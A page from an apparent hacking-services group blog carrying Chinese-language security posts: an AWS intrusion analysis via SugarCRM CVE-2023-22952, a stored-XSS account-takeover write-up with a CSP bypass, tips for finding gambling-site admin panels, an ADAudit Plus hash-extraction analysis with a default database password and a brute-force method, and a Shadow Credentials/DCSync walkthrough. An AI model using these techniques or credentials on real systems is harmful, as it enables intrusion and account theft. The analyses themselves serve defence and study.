Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863290114

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking

微信截图_20230814171206.png

SugarCRM 零日身份驗證繞過和遠程代碼執行漏洞（CVE-2023-22952）像是一個典型的漏洞。因為它是一個web應用程序，如果沒有正確配置或保護，幕後的基礎設施可以允許攻擊者增加其影響。當攻擊者了解雲服務提供商使用的底層技術時，如果他們能夠獲得對具有正確權限的憑證的訪問權限，就可以進行大量的操作。

在過去的一年中，Unit 42發現SugarCRM漏洞CVE-2023-22952是一個初始攻擊向量，允許攻擊者訪問AWS賬戶。這不是由於AWS中的漏洞造成的，它可能發生在任何云環境中。初始攻擊後，攻擊者利用錯誤的配置擴大了他們的訪問權限。

本文根據MITRE ATTCK Matrix框架列出了針對AWS環境的各種攻擊，並總結了組織可以設置的多種預防機制來保護自己。其中一些保護措施包括利用AWS提供的控制和服務、雲最佳實踐，以及確保足夠的數據保留以應對全面攻擊。

這些攻擊的複雜性表明，設置日誌記錄和監控以檢測任何未經授權的AWS API調用是多麼重要，即使它們看起來無害。如果允許攻擊者獲得一個攻擊立足點，這可能導致更可怕的活動，而這些活動並不總是可追踪的。

MITRE ATTCK MatrixMITRE ATTCK Matrix由14種不同的策略組成，這些策略描述了網絡安全攻擊的不同組成部分。

初始訪問：CVE-2023-22952這些AWS賬戶洩露的最初攻擊載體是零日SugarCRM漏洞CVE-2023-22952。 Sugar是一個價格合理並且容易使用的企業級CRM，Sugar的設計初衷是為了幫助您的企業於千載客戶溝通，共享銷售信息，促成交易以及保持客戶開心。

CVE-2023-22952由NIST國家漏洞數據庫於2023年1月11日發布，得分為8.8。由於缺少輸入驗證，此漏洞允許攻擊者通過SugarCRM電子郵件模板模塊注入自定義PHP代碼。

要理解攻擊者為什麼針對SugarCRM進行這些攻擊，了解SugarCRM客戶數據庫中存在大量敏感數據（如電子郵件地址、聯繫信息和帳戶信息）是很有幫助的。如果它被洩露，攻擊者要么選擇直接出售這些信息，要么勒索受害者以獲得更多經濟利益。

通過利用SugarCRM中的此漏洞，攻擊者可以通過該漏洞的遠程執行組件直接訪問運行此應用程序的底層服務器。在發現的示例中，這些服務器是Amazon Elastic Cloud Compute (EC2)實例，主機上存儲有長期的AWS訪問密鑰，允許攻擊者擴展其訪問權限。由於這些組織將其基礎設施託管在雲中，因此與本地託管相比，它為攻擊者提供了不同的攻擊載體。

憑證訪問一旦攻擊者獲得了對EC2實例的訪問權限，他們就成功地盜取了主機上存在的長期AWS訪問密鑰。無論計算機是位於本地還是雲中，如果用戶使用AWS命令行界面（CLI），他們都可以選擇將用於身份驗證的臨時或永久憑證存儲在存儲在主機上的憑證文件中，具體如下圖所示，其中包括文件路徑。

在我們觀察到的情況下，這些明文憑證存在於受攻擊的主機上，這允許攻擊者竊取它們並開始使用訪問密鑰開始攻擊活動。

1.png

憑證文件位置的文件路徑

發現過程在攻擊者執行任何掃描活動之前，他們首先運行命令GetCallerIdentity。 GetCallerIdentity是AWS版本的whoami。它返回關於執行調用目標的各種信息，例如與用於簽署請求的憑證相關聯的

的用戶ID、帳戶和Amazon Resource Name (ARN)，如下圖所示。用戶ID是執行調用的實體的唯一標識符，帳戶是憑證所屬的AWS帳戶的唯一12位標識符，ARN包括執行調用的目標帳戶ID和人類可讀的名稱。

2.png

GetCallerIdentity響應

一旦攻擊者竊取了足夠多的憑證，他們就開始了掃描活動。他們利用Pacu和Scout Suite工具來更好地了解AWS賬戶中存在哪些資源。 Pacu是一個開源的AWS開發框架，它被設計成雲中的Metasploit。 Scout Suite是一個用於雲環境安全狀態評估的安全審計工具。

根據檢測結果，Pacu已經存在於主機上。雖然Scout Suite並不是我們看到下載到受感染的EC2實例上的工具，但我們知道它是基於與攻擊者活動相關的用戶代理使用的。這兩種工具都為攻擊者提供了大量信息，以了解他們所破壞的AWS賬戶的情況。

在本文的示例中，這些工具掃描了各種傳統服務，例如：

EC2

IAM

RDS

S3

SNS

SES

Lambda

攻擊者還對服務(例如Organizations服務和Cost and Usage服務)執行其他發現調用，這些服務不一定會為攻擊者提供有用的信息。

AWS組織為公司提供了一個集中的場所來管理多個AWS帳戶和資源。在查看CloudTrail日誌中的攻擊者活動時，有三個組織API調用非常突出。第一個調用是ListOrganizationalUnitsForParent，它列出了所有的組織單元(OU)。

這樣，攻擊者就可以運行ListAccounts，它返回與每個ou關聯的所有帳戶id，並向攻擊者提供最有用信息的最後一個調用是descripbeorganization API調用。此事件返回主帳戶ID以及與該帳戶關聯的主帳戶電子郵件地址。有了這些信息，攻擊者就有足夠的能力嘗試以Root用戶的身份登錄目標帳戶。最後一個感興趣的發現調用涉及成本和使用服務。如下圖所示，攻擊者執行各種GetCostandUsage調用，響應返回關於受攻擊帳戶中的一般成本的信息。

防御者需要意識到，攻擊者可以通過了解雲帳戶內的成本來確定帳戶的活躍程度。如果一個帳戶的總成本很大，他們可能更容易在不被發現的情況下增加新資源，因為成本可能不會突出。

另一方面，如果帳戶中的支出很少，一些新資源可能會更加突出。支出較少的帳戶所有者可能也有更嚴格的成本通知，這可能會在攻擊者創建新資源時觸發警報。

3.png

GetCostandUsage請求參數示例

4.png

GetCostandUsage響應示例

通過使用這些看似無害的API調用，攻擊者獲得了大量關於賬戶結構和使用情況的信息，而無需執行大量可能觸發警報的可疑活動。

橫向移動、執行、滲透在我們觀察到的事件中，一旦攻擊者完成了對環境的掃描，他們就有足夠的信息來縮小他們的活動範圍，從發現整個帳戶到對從關係數據庫服務(RDS)開始的各種服務採取行動。攻擊者從受攻擊的SugarCRM EC2實例橫向移動到RDS服務，並開始執行命令，從各種SugarCRM RDS數據庫創建新的RDS快照。創建這些快照不會導致原始RDS數據庫停機。

這樣，攻擊者就修改了已經允許SSH入站的預先存在的安全組規則，並為MySQL流量添加了端口3306。然後，攻擊者開始進行滲透，從快照中創建全新的數據庫，將其公開，並附加修改後的安全組。最後，他們通過更改主用戶密碼修改了新創建的RDS數據庫，這將允許他們登錄數據庫。

為了了解是否發生了任何數據洩露，在啟用了虛擬私有云(VPC)流日誌的情況下，我們可以使用日誌查看有多少字節的數據離開了環境。在沒有啟用VPC流日誌的情況下，我們發現的數據洩露受到限制。

橫向移動/執行在RDS活動之後，攻擊者再次橫向移動回EC2服務並進行了一些更改。攻擊者做的第一件事是從正在運行的SugarCRM EC2實例中創建新的Amazon Machine Images（AMI），然後從那裡運行ImportKeyPair命令導入他們使用第三方工具創建的公鑰對。完成這些任務後，攻擊者繼續創建新的EC2實例。攻擊者還將現有的安全組附加到允許從任何IP地址訪問入站端口22的EC2實例，如下圖所示。

5.png

允許端口22訪問的安全組示例

攻擊者在組織用於其正常基礎設施的其餘部分的相同區域中創建了EC2實例。他們還將區域切換到地理上的新區域，並創建了一個新的安全組，允許來自任何IP地址的端口22 SSH流量。然後，攻擊者導入另一個密鑰對。由於攻擊者切換到不同的區域，即使密鑰對與其他區域使用的密鑰對相同，也必須重新導入該密鑰對。

完成設置後，攻擊者們創建了一個新的EC2實例，但這次他們使用了AWS Marketplace上的公共AMI。此EC2實例活動顯示了在所有區域啟用GuardDuty等安全服務的重要性，以便能夠查看AWS帳戶內發生的所有事情。為了增加主動防禦，組織也可以禁用未使用的區域。

權限升級對於這些攻擊的權限升級部分，攻擊者並沒有像我們在其他情況下看到的那樣試圖創建新的IAM用戶。相反，他們選擇嘗試以Root用戶身份登錄。儘管使用了他們在發現階段從組織調用中獲得的信息，攻擊者仍然未能成功地以Root用戶登錄。 Root登錄嘗試非常嘈雜，因此這些失敗的Root登錄在CloudTrail日誌中非常突出，如下圖所示。

6.png

從CloudTrail日誌中查看Root登錄失敗

持久性除了嘗試使用Root帳戶登錄之外，攻擊者並沒有嘗試太多持久性。最明顯的持久性嘗試是在不同的區域創建EC2實例，而不是通常用於託管其基礎設施的組織。與Root登錄嘗試類似，這些新的EC2實例在CloudTrail日誌中很突出。然而，在檢查控制台中的資源時很容易遺漏一些內容，因為隨著雲環境變得更大，切換區域和跟踪所有創建的資源非常耗時。

逃避檢測一旦攻擊者攻擊了AWS賬戶，在賬戶所有者發現問題之前，他們只有有限的時間來逃避。為了不被發現，攻擊者在非標準地區部署了資源。但是，他們還在環境中打開和關閉了EC2實例。

攻擊者這樣做有幾個原因。第一個原因是降低他們的可見度。在AWS控制台中EC2實例頁面上，它默認只顯示正在運行的EC2實例。除非用戶積極地嘗試查看未運行的EC2實例，否則，一旦將攻擊者創建的新EC2實例處於停止狀態，用戶就不可能檢測到他們。

第二個原因是，停止這些資源也可以避免在組織帳戶中產生額外的成本。如果組織對成本有嚴格的通知，攻擊者停止他們創建的資源可以最大限度地降低成本，並有助於防止觸發成本警報，這是他們逃避檢測的另一種方式。除了在不同區域創建資源並停止他們創建的資源外，攻擊者沒有嘗試其他防禦規避技術，例如停止CloudTrail日誌記錄或禁用GuardDuty。

通過訪問密鑰進行緩解組織可以採取四種主要的補救措施來保護自己在未來免受這類型的攻擊。第一個是關於訪問密鑰的，對於組織來說，保護他們的訪問密鑰是至關重要的，因為我們經常看到它們是AWS被攻擊的根本原因。

在EC2實例上使用長期訪問密鑰從來都不是一個好的理由。相反，應該使用實例元數據服務(IMDS)中的EC2角色和臨時憑證。另外，請確保只使用IMDSv2，它可以防止服務器端請求偽造(SSRF)攻擊。

我們建議為存儲在主機憑證文件中的任何長期訪問密鑰創建一個清理過程。這可以通過要求用戶在完成工作後清理這些文件來實現，或者通過創建一個流程來自動清理這些文件。

我們還建議定期輪換和刪除訪問密鑰。訪問密鑰的壽命越長，它被洩露的可能性就越大。持續地輪換它們並主動刪除未使用的密鑰可以保護AWS帳戶。整個過程可以自動化，並有助於檢查訪問密鑰的安全性。

最低權限IAM策略攻擊者能夠完成攻擊唯一原因是，組織在SugarCRM主機上給予IAM用戶主體廣泛的權限。這些主機上的IAM用戶需要一些AWS權限，但是這些權限應該被限定得很窄，只包括使用這些權限的應用程序所需要的權限。這些組織並不是唯一遇到這種情況的組織，99%的雲用戶、角色、服務和資源被授予了過多的權限，而這些權限沒有被使用。

建議組織可以使用AWS Access Analyzer檢查特定IAM主體對API的歷史使用情況，並自動生成訪問策略，將其訪問權限限制為僅在你選擇的時間段內使用過的API。

編寫過於寬鬆的策略可能更容易，但是編寫範圍狹窄的權限以更好地保護AWS帳戶肯定是值得的。

通過監控Root進行緩解還有一個預防措施是圍繞Root帳戶設置監控，此帳戶應該只用於需要Root的幾個帳戶管理任務的環境中，並進行精心維護。我們還建議始終在Root上啟用多因素身份驗證，並確保使用長密碼對其進行保護。

日誌記錄和監控最後一項防禦措施是確保它們配置了正確的日誌記錄。 CloudTrail和GuardDuty都應該在所有區域中啟用，並將日誌發送到集中位置。

當涉及到GuardDuty時，攻擊警報應該被發送到一個團隊，該團隊將根據警報的嚴重性做出響應。在本文的示例中，組織啟用了GuardDuty，我們看到GuardDuty在攻擊的早期就發現了這些訪問密鑰洩露。

我們還建議組織啟用VPC流量日誌，以幫助捕獲可能發生的任何數據洩露。這些日誌在解決網絡連接問題時非常有用。對於所有這些不同的服務，確保保留好操作記錄是很重要的。無論環境如何，任何地方都可能發生攻擊，確保日誌保留足夠長的時間對於捕獲完整的攻擊至關重要。

總結儘管攻擊者能夠在這些攻擊中完成很多任務，但我們發現組織可以採取一些很好的補救措施來更好地保護自己。由於訪問密鑰是最常見的初始攻擊向量，因此盡可能避免使用長期訪問密鑰。在AWS中，這意味著為開發人員工作站使用EC2角色、IAM Roles Anywhere或Identity Center集成。保護這些密鑰的另一個方式是設置異常使用監控。對於這些攻擊，攻擊者執行異常API調用，這些調用都可以通過日誌分析檢測到。

還必須進行基本的最低權限分析，以便在雲內部或外部運行的代碼只具有完成其工作所需的權限。

除了監控訪問密鑰外，還需要確保監控雲帳戶的異常活動。在AWS中，這看起來像是監控各種服務，如CloudTrail、VPC流程日誌和S3服務器訪問日誌。如果你的雲帳戶中的服務正在通過異常端口訪問新的和不尋常的IP地址，則需要確保監控配置可以發出警報。此外，如果組織在S3桶中有敏感數據，則監控S3服務器訪問日誌以記錄對存儲桶的異常調用有助於主動發現攻擊。

HireHackking

去年年底，研究人員在HackerOne上發現了一個極具挑戰性的漏洞，該漏洞涉及多個層面的利用，最終導致存儲的XSS有效負載能夠接管受害者的帳戶，該漏洞的危害性極強（CVSS 8.7）。 HackerOne 是排名第一的黑客驅動安全平台，可幫助你在被利用之前發現並修復關鍵漏洞，HackerOne正在阻止他們提取漏洞賞金，甚至有人被截留了數千美元。

設置過程我發現最初的漏洞與HackerOne的支付處理API有關，客戶（商家）使用它來處理不同國家的信用卡和金融交易。這個品牌是跨國的，所以他們在許多不同的國家處理許多不同類型的交易。該支付處理器支持的一種交易類型是離線支付流，用於處理信用卡不流行、現金交易更普遍的地區。在這些地方，支付處理器允許客戶進行電子商務購買，並獲得一個唯一的代碼（如二維碼），他們可以將其帶入商店並為交易支付現金。一旦商店確認交易，電子商務商家就會收到貨款，顧客就會收到貨物。

具體流程是這樣的：

马云惹不起马云當客戶下訂單時，電子商務商家啟動離線支付流程；

马云惹不起马云電子商務商家為客戶提供一個可用於支付的唯一店內代碼；

马云惹不起马云（離線）客戶將代碼帶到支付網絡中的商店並用現金支付；

马云惹不起马云電子商務商家收到付款通知；

马云惹不起马云電子商務商家向客戶發送一個唯一的URL，他們可以訪問該URL來確認購買。

马云惹不起马云 請注意，最後一步中的“唯一URL”是由商家在交易設置時提供的，你可以將其視為傳統在線信用卡工作流中的“確認URL”。

有效負載在這種情況下，攻擊者是有能力創建這些離線交易的商家（或該商家的用戶）。商家將提交一個包含XSS有效負載的確認URL。這種有效負載一旦持久化，就可以在主網站（www.redated.com）的頁面下看到。

商家通過GraphQL API在不同的域名payments.redactedtwo.com上提交請求，該域名的有效負載如下：

1.png

我們可以看到，這個GraphQL API接受一個returnUrl參數，該參數將成為我們的有效負載源。請注意，GraphQL調用是一個完全獨立的頂級域上的API。這很有趣，因為它允許在一個域中存儲的有效負載會在另一個更關鍵的域中呈現。提交後，我們可以訪問www.redected.com網站上的一個唯一的靜態URL，該URL在returnUrl參數中包含我們的有效負載。

讓我們看看負載是如何出現在www.redacted.com上的：

2.png

我們看到這個腳本有一個nonce，注入點payload 在腳本中看起來像是一個非常容易存儲的XSS。

nonce的存在將變得很重要，讓我們看一下Content-Security-Policy標頭。為了便於閱讀，我將它分成幾行：

3.png

我們可以看到，這個CSP是相當嚴格的，我們只能從網站本身獲取信息，並且頁面上的任何腳本標籤都需要nonce。

嘗試1：javascript://url顯然，在位置.href=處使用注入點的第一次嘗試是簡單地放置一個帶有有效負載的Javascript方案，例如Javascript://alert(1)。我很幸運，因為這裡沒有明顯的WAF阻擋像這樣簡單的有效負載。不過嘗試失敗了，GraphQL API拒絕了該URL，出現的錯誤為400。我嘗試了很多其他的嘗試，比如編碼等都不行。 API正在驗證提供的URL是否以https://開頭，並包含後跟/的完整主機名。所以很明顯，我們有一個開放的重定向，但我知道這可能被用於存儲的XSS。

例如https://hackerone.com/將導致以下存儲的有效負載：

4.png

這些是附加到GraphQL API中提供的URL的參數，代表唯一的事務ID，關於客戶的信息等-這總是附加一個前導?在單引號內。

出於顯而易見的原因，我嘗試提交各種形式的不帶尾斜杠的https://URL，這將導致主機名之後的所有內容都被URL編碼，並且通常對Javascript上下文中的XSS無用。

嘗試2：附加有效負載現在，我們知道負載必須以有效的URL和主機名開始，因此我們以https://hackerone.com/作為負載的開頭。

幸運的是，我能想到的下一個最明顯的有效負載奏效了。單引號字符沒有以任何方式被阻止或編碼，因此以下負載實際上生成了一個存儲的警報：

5.png

這生成了一個警報，但當關閉時，用戶會立即重定向到提供的URL。已存儲帶有DOM訪問的XSS負載！

提交此時，嘗試已經成功，研究人員已向LHE提交了該漏洞。不過該團隊回應說，他們覺得CSP和cookie設置在主站點上，不可能將存儲的XSS升級到高嚴重性漏洞。

研究人員覺得不合理，因為有效負載位於script nonce 環境中，攻擊者可以生成想要的任何有效負載，利用它將很容易！

構建ATO有效負載研究人員製作了想像到的最好的存儲XSS ATO有效負載。有效負載執行了以下任務，他們在主站點上打開的窗口的開發控制台（F12）中測試了這些任務：

通過對站點主頁執行XMLHttpRequest，為用戶獲取CSRF令牌；

通過解析從fetch調用返回的HTML提取CSRF令牌；

使用XMLHttpRequest進行API調用以更改帳戶上的電子郵件地址；

請注意，CSP中的connect-src使你無法嘗試使用Javascript將頁面中的信息洩露到攻擊者域，因此ATO或CSRF的類似行為是我在此處選擇的有效負載。

此時，攻擊者可以控制電子郵件地址並使用“忘記密碼”功能來完成接管，從而獲取該帳戶。 Cookie（甚至是HttpOnly）將在最後一次請求時發送，因為同源策略將允許包含它們（XHR來源於正確的域，www.redated.com）。

大多數人都熟悉編寫這種類型的有效負載，我不會在這裡詳細介紹，因為它非常簡單：

通过GraphQL API把XSS存储到Account Takeover (ATO)

我在Chrome開發控制台中測試了這一點，並確認它具有ATO的預期效果。

嘗試3：拒絕我向GraphQL API提交了有效負載，它看起來很好！一開始沒有錯誤，但後來我點擊了存儲的XSS頁面本身，看到存儲的有效負載未呈現。

通过GraphQL API把XSS存储到Account Takeover (ATO)

回到原來的alert(document.domain)有效負載，它開始運行了。所以，在我完整的ATO有效負載中一定有什麼東西導致服務器不渲染XSS。

在對工作負載進行多次迭代之後，不幸的是，由於源和接收是不同的事務，並且需要幾個中間步驟，我無法使用任何方便的自動化工具，我發現以下所有字符都會導致400錯誤：

通过GraphQL API把XSS存储到Account Takeover (ATO)

請注意，所有空白字符也被拒絕。可能還有其他我不記得內容了，但以下內容肯定沒有被阻止：

通过GraphQL API把XSS存储到Account Takeover (ATO)

現在，有一個有限的Javascript詞彙表要處理。

嘗試4：異步研究人員最終重寫了大部分有效負載，以排除受限制的字符。請注意，我嘗試了所有類型的編碼（URL、javascript、十六進制、八進制、雙重編碼等），但這些都不能用來繞過限制。該過程是非常乏味的，因為錯誤出現在接收端，而不是源端，所以每次迭代至少浪費一到兩分鐘。

我甚至得到了使用受限字符集的初始獲取請求，比如：

通过GraphQL API把XSS存储到Account Takeover (ATO)

現在，我們可以在控制台日誌中看到fetch調用中的Response對象。

請記住，我的攻擊鏈需要3個步驟：

马云惹不起马云進行XHR調用以獲取帶有CSRF令牌的頁面；

马云惹不起马云從返回的HTML中提取CSRF令牌；

马云惹不起马云 用CSRF令牌對ATO進行XHR調用；

由於fetch和XMLHttpRequest是異步API，我們需要用lambda函數填充then方法參數，該函數將在Promise解析時異步執行。問題是，如果沒有｛｝字符，我不相信有一種方法可以在Javascript中構建lambda函數，無論是用大括號語法還是箭頭語法。

研究人員立刻意識到這是一個巨大的障礙。即使我重寫了負載的其餘部分以避免所有這些其他字符，也無法定義Promise解析時要調用的lambda函數。不過在Javascript引用中Function對象的文檔中，有一個形式Function(var, body)，其中body是字符串!不需要大括號或箭頭語法！

在重寫有效負載時，研究人員卻發現在CSP中遺漏了一些東西，由於CSP缺少不安全的eval指令，因此不允許使用eval。沒錯，這種形式的Function構造函數使用eval將字符串轉換為實際的Javascript函數。

所以解決問題的方法有以下三種：

马云惹不起马云要成功傳遞工作負載，就需要繞過被阻止的特殊字符；

马云惹不起马云研究人員確信他們可以執行任意的Javascript代碼，只要注意使用的字符即可；

马云惹不起马云可以訪問DOM中已經存在的script 標記上的nonce的正確值；

於是研究人員決定嘗試以下方法：

马云惹不起马云使用非常簡單的Javascript創建一個新的script DOM節點；

马云惹不起马云將該腳本節點上的nonce設置為與頁面上已存在的script 節點的nonce匹配；

马云惹不起马云想出一種方法來編碼負載，這樣就可以將新script 節點的innerText設置為一個沒有特殊字符的值；

马云惹不起马云將新script 標記插入DOM，有效負載將執行。

有趣的是，如果script 標記已經開始執行（頁面上的一個標記），那麼替換innerText將毫無作用。由於CSP，研究人員看不到除了帶有nonce的script 標記之外的任何方法來執行負載。

但是，如果頁面尚未完成內聯腳本的呈現和執行，則可以在內聯腳本之後插入一個新的script 節點，該節點將執行。請注意，這僅在頁面尚未加載的情況下有效。如果你試圖在onload事件觸發後插入一個script DOM節點，那就太晚了。

我決定用一個看起來像以下這樣的簡單有效負載來嘗試：

通过GraphQL API把XSS存储到Account Takeover (ATO)

嘗試成功了！警報彈出，並且新標記上的nonce的存在允許我的腳本通過CSP檢查。

嘗試5：迴避特殊字符如果試圖只對那些被阻止的字符進行編碼，則很難手動完成。因此，研究人員決定採取以下方法：

马云惹不起马云用Javascript有效負載創建一個文件redacted_payload.txt；

马云惹不起马云運行以下shell命令，將文件中的每個字符編碼為對String.fromCharCode的一系列調用；

生成的shell命令：

通过GraphQL API把XSS存储到Account Takeover (ATO)

輸出：

通过GraphQL API把XSS存储到Account Takeover (ATO)

研究人員在花費了大量時間後，最終得到了一個非常大的負載，幸運的是，可以存儲的URL沒有長度限制！

研究人員提交了完整的有效負載，如下所示：

通过GraphQL API把XSS存储到Account Takeover (ATO)

但沒有成功，這讓研究人員想起了一些原來被忽略的事情。

最後一步：重定向注意，我們正在註入的內聯腳本是通過設置location.href屬性重定向窗口開始的。這會導致瀏覽器開始導航，此時，它可能不會完成任何進一步的內聯腳本的執行，而且它肯定不會等待異步Promise完成，例如XHR或fetch。可以看到的是，編碼負載正在運行，但瀏覽器會立即導航離開頁面，整個過程沒有機會完成。

還要記住，重定向必須以合法的主機名開始，因此不可能提供瀏覽器無法導航到的無效重定向。

為了防止系統升級造成的影響，研究人員控制了關於location.href在設置時的行為的Javascript參考，這樣研究人員就看到了window.stop()，它被記錄為“aborts browser naviagtion（中止瀏覽器導航）”。這看起來像嘗試成功了，所以在URL字符串結束後研究人員立即添加了一個調用，如下所示：

通过GraphQL API把XSS存储到Account Takeover (ATO)

這已經達到了阻止重定向的預期效果！

不過，這也停止了任何未完成的獲取或XHR請求，且恢復方法很複雜。

為了解決這個問題，研究人員想知道是否再次將location.href設置為其他內容，如果速度足夠快，第二個賦值是否會覆蓋第一個導航。起初，研究人員嘗試使用javascript:URL（這太容易了），最終發現URL foo://a會使瀏覽器的行為與預期的完全一樣：

停止導航到合法URL；

生成錯誤；

允許繼續執行進一步的XHR/fetch請求；

最後的有效負載如下所示：

通过GraphQL API把XSS存储到Account Takeover (ATO)

最終，研究人員向ATO提交了有效負載以及成功存儲XSS的證據。

結論在所有保護措施到位的情況下，實現這種升級簡直不可思議。

本文所用的技巧如下：

當開箱即用的有效負載不起作用時，熟悉Javascript語言和語法會非常有幫助；

熟悉這門語言還能幫助你更好地處理特殊字符等主要障礙；

HireHackking

前言

本文仅用于交流学习， 由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，文章作者不为此承担任何责任。

渗透测试可分为三个阶段
信息收集        尽可能的收集所有关的资产信息确定测试范围
漏洞发现        针对收集的资产进行进一步的漏洞检测
漏洞利用        针对发现的漏洞进行进一步的利用以及利用的程度
1.js中的api接口

图片

2.多端口形站点图片3.客服系统钓鱼引导等图片4.积分系统针对脆弱的旁站图片5.充值接口图片6.找源代码分析某演示站泄露的源码白盒分析图片

图片

图片

7.bc后台根于js资源url,子域,等多种方式找一般小站大多是自域前加 ad ag admin 123admin ht等等图片

转载于原文链接： https://mp.weixin.qq.com/s/ZGNKIkfOidLPpjT856LHxw
HireHackking

0x00 前言在上篇文章《ADAudit Plus漏洞调试环境搭建》 介紹了漏洞調試環境的搭建細節，經測試發現數據庫的部分數據做了加密，本文將要介紹數據加密的相關算法。

0x01 簡介本文將要介紹以下內容：

數據加密的位置

算法分析

算法實現

0x02 數據加密的位置測試環境同《ADAudit Plus漏洞调试环境搭建》 保持一致

數據庫連接的完整命令：'C:\Program Files\ManageEngine\ADAudit Plus\pgsql\bin\psql' 'host=127.0.0.1 port=33307 dbname=adap user=postgres password=Stonebraker'

查詢加密口令的命令示例：SELECT * FROM public.aaapassword ORDER BY password_id ASC;

返回結果示例：

1.png經測試，對應Web管理頁面的位置為Admin-Technicians，如下圖

2.png

點擊Add technicians可以添加用戶，這裡可以選擇添加自定義用戶或者域用戶

添加自定義用戶需要輸入口令，如下圖

3.png添加域用戶不需要輸入域用戶的口令，如下圖

4.png

0x03 算法分析1.加密算法細節經分析，加密算法細節位於C:\Program Files\ManageEngine\ADAudit Plus\lib\AdvAuthentication.jar中的com.adventnet.authentication.util-AuthUtil.class

添加用戶的實現代碼：

5.png 6.png 7.png 8.png 9.png 10.png 11.png得到加密生成Password的代碼：

12.png生成salt的代碼：

13.png經動態調試，發現workload默認為12，生成的salt格式示例：$2a$12$DVT1iwOoi3YwkHO6L6QSoe，如下圖

14.png具體加密算法getEncryptedPassword()的實現細節：

15.png 16.png

在此處下斷點，經動態調試得出以下結論：

如果是域用戶，會使用默認口令admin作為明文，隨機生成salt，算法使用bcrypt，通過固定算法計算得出密文，密文前29字節對應加密使用的salt

如果不是域用戶，會使用用戶口令作為明文去計算，例如默認用戶admin，會使用實際的口令作為明文去加密得到密文

也就是說，在查詢表public.aaapassword時，我們只需要取出password項前29字節作為加密使用的salt，不需要關注表public.aaapassword中的salt項

2.區分是否為域用戶查詢命令示例：SELECT * FROM public.aaalogin ORDER BY login_id ASC;

返回結果示例：

17.png

其中，domainname為ADAuditPlus Authentication代表自定義添加的用戶

這裡使用inner join查詢自動篩選出非域用戶和對應的hash，命令示例：SELECT aaalogin.login_id,aaalogin.name,aaalogin.domainname,aaapassword.password FROM public.aaalogin as aaalogin INNER JOIN public.aaapassword AS aaapassword on aaalogin.login_id=aaapassword.password_id WHERE aaalogin.domainname='ADAuditPlus Authentication';

返回結果示例：

18.png

0x04 算法實現測試參數如下：

已知明文為123456

查詢數據庫得到的password項為$2a$12$1hKeH4aM2LY4BvYpKT9Z5.p9cD453FjBAPYjp0ek94n936WRRAYme

從中可知salt為password項的前29字節，即$2a$12$1hKeH4aM2LY4BvYpKT9Z5.

計算密文的測試代碼如下：

19.png 20.png

計算結果為$2a$12$1hKeH4aM2LY4BvYpKT9Z5.p9cD453FjBAPYjp0ek94n936WRRAYme，同數據庫得到的password項一致

綜上，根據以上算法可以用來對用戶口令進行暴破

0x05 小結本文分析了ADAudit Plus數據加密的算法，區分域用戶，編寫實現代碼，後續根據算法可以用來對用戶口令進行暴破。

HireHackking

abstract_threat_actor_attribution-1200x600.jpg

TGT是CAS 為用戶簽發的登錄ticket，也是用於驗證用戶登錄成功的唯一方式。 TGT 封裝了Cookie 值以及Cookie 值對應的用戶信息，CAS 通過Cookie 值（TGC）為key 查詢緩存中有無TGT（TGC:TGT（key:value）），如果有的話就說明用戶已經登錄成。

獲得對公司網絡資源的未經授權訪問的最複雜但最有效的方法之一是使用偽造證書進行攻擊。攻擊者創建這樣的證書來欺騙密鑰分發中心(KDC)授予對目標公司網絡的訪問權。此類攻擊的一個示例是ShadowCredential(msDS-KeyCredentialLink屬性)技術，該技術允許攻擊者通過修改受害者的msDS-KeyCredentialLink屬性並向其添加授權證書來登錄用戶帳戶。這種攻擊很難被檢測到，因為攻擊者不是竊取憑證，而是使用合法的Active Directory (AD)機制和配置漏洞。

儘管如此，緩解使用偽造證書的攻擊是可能的。在分析了託管檢測與響應服務MDR的數據後，研究人員確定了網絡中此類攻擊的幾個跡象，並開發了一個能夠查找AD中工件的概念驗證實用程序，以及可以添加到SIEM中的一些檢測邏輯規則。不過，我們有必要首先簡單介紹一下基於證書的Kerberos身份驗證的特點。

AD中的Kerberos身份驗證和實現過程在基於Active Directory的現代企業網絡中，資源管理是通過Kerberos協議執行的。只有當用戶能夠向網絡內的任何服務（對象）提供KDC頒發的票證（下圖中的Msg E）時，用戶才能訪問該對象。發送服務票證的KDC組件稱為票證授予服務器(TGS)。此外，用戶只有在擁有ticket Granting ticket (TGT)(下圖中的Msg B)時才會從KDC接收TGS票證。本質上，TGT是成功的用戶身份驗證的證明，通常虛通過密碼驗證。

1.png

Kerberos身份驗證方案但是，有一種方法可以在不知道密碼的情況下獲得TGT，即使用證書。為此，KDC必須信任所提供的證書，並且該證書必須與TGT中請求的主題相關。 Kerberos的這一部分稱為用於初始身份驗證的公鑰加密(PKINIT)，如果公司網絡中有為域用戶頒發證書的證書頒發機構，那麼設置身份驗證就非常容易。

2.png

但還有另一種方法，例如，要利用Microsoft Hello For Business功能，如基於PIN的授權或人臉識別，不過前提是登錄的設備必須具有自己的AD證書，以便KDC可以基於該證書頒發TGT。但是，並非所有具有活動目錄的網絡都具有證書頒發機構。這就是創建msDS-KeyCredentialLink屬性的原因，可以在其中編寫證書。 KDC將信任該證書並頒發TGT。這是一個很好的解決方案，擴展了Microsoft Active Directory的功能。

然而，基於上述邏輯，將msDS-KeyCredentialLink屬性寫入某個對象的主體也將能夠獲得該對象的票證，這就是問題所在。

攻擊是如何展開的？讓我們舉例說明一種可能的攻擊場景:

1.主體logan_howard對AD域中的任何屬性都有寫入權限，它使用Whisker將公鑰寫入域控制器對象(AD -gam$)的msDS-KeyCredentialLink屬性。

3.png

2.主體接收發送給域控制器的TGT(使用Rubeus工具包)。

4.png

3.在提交此TGT時，主體獲得TGS票證，以同步域(MS-DRSR：目錄複製服務遠程協議)中的密碼信息。

4.作為主體，攻擊者從域管理員帳戶(administrator)“同步”哈希，以冒充管理員，以便獲得對數據的訪問權限並在公司網絡內部橫向移動。這種攻擊稱為DCSync，並使用mimikatz。

5.png

工件查找我們不關注如何讓KDC信任特定的證書，包括被盜的或偽造的證書，而是關注TGT發送時的情況。這會觸發域控制器上的事件4768：請求了Kerberos身份驗證票證(TGT)。該事件可能包含用於身份驗證證書裡的工件，包含三個字段：CertIssuerName、CertSerialNumber和CertThumbprint。這些域是我們接下來要重點介紹的。

